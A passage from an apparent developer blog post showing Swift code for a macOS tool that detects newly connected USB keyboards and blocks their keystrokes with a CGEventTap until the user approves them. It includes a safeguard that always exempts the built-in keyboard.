    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;manager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;IOHIDManagerCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kCFAllocatorDefault&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;IOOptionBits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kIOHIDOptionsTypeNone&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hidManager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;manager&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;matchingDict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nv"&gt;kIOHIDDeviceUsagePageKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;kHIDPage_GenericDesktop&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;kIOHIDDeviceUsageKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;kHIDUsage_GD_Keyboard&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="kt"&gt;IOHIDManagerSetDeviceMatching&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matchingDict&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kt"&gt;CFDictionary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;UnsafeMutableRawPointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Unmanaged&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;passUnretained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toOpaque&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

    &lt;span class="kt"&gt;IOHIDManagerRegisterDeviceMatchingCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
        &lt;span class="k"&gt;guard&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;guardInstance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;Unmanaged&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;USBKeyboardGuard&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromOpaque&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;takeUnretainedValue&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="kt"&gt;Task&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="kd"&gt;@MainActor&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
            &lt;span class="n"&gt;guardInstance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;handleDeviceConnected&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;device&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="kt"&gt;IOHIDManagerScheduleWithRunLoop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;CFRunLoopGetMain&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="kt"&gt;CFRunLoopMode&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defaultMode&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rawValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;IOHIDManagerOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;IOOptionBits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kIOHIDOptionsTypeNone&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a device connects, we extract its Vendor ID, Product ID, Serial Number, and Transport. If it's not in our allowlist, we flip the killswitch immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;handleDeviceConnected&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;device&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;IOHIDDevice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;IOHIDDeviceGetProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kIOHIDProductKey&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kt"&gt;CFString&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as?&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;??&lt;/span&gt; &lt;span class="s"&gt;"Unknown Keyboard"&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;vendorId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;IOHIDDeviceGetProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kIOHIDVendorIDKey&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kt"&gt;CFString&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as?&lt;/span&gt; &lt;span class="kt"&gt;Int&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;productId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;IOHIDDeviceGetProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kIOHIDProductIDKey&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kt"&gt;CFString&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as?&lt;/span&gt; &lt;span class="kt"&gt;Int&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;serial&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;IOHIDDeviceGetProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kIOHIDSerialNumberKey&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kt"&gt;CFString&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as?&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;transport&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;IOHIDDeviceGetProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kIOHIDTransportKey&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kt"&gt;CFString&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as?&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;??&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;

    &lt;span class="c1"&gt;// Never block the built-in Mac keyboard!&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isInternalKeyboard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vendorId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;vendorId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;transport&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;identifier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;makeDeviceIdentifier&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;vendorId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;vendorId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;productId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;productId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;serialNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;allowedKeyboards&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deviceIdentifier&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;identifier&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;isBlockingActive&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
        &lt;span class="nf"&gt;showApprovalModal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;for&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;identifier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Dropping Raw Keystrokes via &lt;code&gt;CGEventTap&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To discard key events before any application sees them, we create a &lt;code&gt;CGEventTap&lt;/code&gt; placed at &lt;code&gt;.headInsertEventTap&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;When &lt;code&gt;isBlockingActive&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, returning &lt;code&gt;nil&lt;/code&gt; from the tap callback completely swallows the event:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;CoreGraphics&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;startEventTap&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;mask&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="kt"&gt;CGEventType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keyDown&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rawValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
               &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="kt"&gt;CGEventType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keyUp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rawValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
               &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="kt"&gt;CGEventType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flagsChanged&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rawValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;UnsafeMutableRawPointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Unmanaged&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;passUnretained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toOpaque&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

    &lt;span class="k"&gt;guard&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;tap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CGEvent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tapCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nv"&gt;tap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cghidEventTap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;place&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headInsertEventTap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defaultTap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;eventsOfInterest&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;CGEventMask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="nv"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;proxy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;refcon&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Unmanaged&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;CGEvent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
            &lt;span class="k"&gt;guard&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;refcon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;refcon&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kt"&gt;Unmanaged&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;passRetained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;guardInstance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;Unmanaged&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;USBKeyboardGuard&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromOpaque&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;refcon&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;takeUnretainedValue&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

            &lt;span class="c1"&gt;// If an unapproved keyboard is pending, drop every key event instantly&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;guardInstance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isBlockingActive&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kt"&gt;Unmanaged&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;passRetained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="nv"&gt;userInfo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eventTap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tap&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;source&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CFMachPortCreateRunLoopSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kCFAllocatorDefault&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;CFRunLoopAddSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;CFRunLoopGetMain&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;CFRunLoopMode&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;commonModes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;CGEvent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tapEnable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;tap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;enable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Terrifying Gotcha: Don't Lock Out the Built-in Keyboard
&lt;/h2&gt;

&lt;p&gt;When you write code that drops all keystrokes globally on macOS, testing it gives you a minor adrenaline rush. If your internal keyboard detection fails, your Mac stops accepting all key input, and you can't even type your sudo password to kill the process.&lt;/p&gt;

&lt;p&gt;MacBook internal keyboards don't show up as generic external USB devices. We reliably whitelist them by checking for internal transport protocols and Apple vendor IDs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;isInternalKeyboard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vendorId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;?,&lt;/span&gt; &lt;span class="nv"&gt;transport&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Bool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;lowerName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lowercased&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;// Internal naming identifiers&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;lowerName&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"apple internal"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;lowerName&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"magic keyboard"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;lowerName&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"internal keyboard"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Internal Mac keyboards typically communicate over SPI or FIFO&lt;/span&gt;
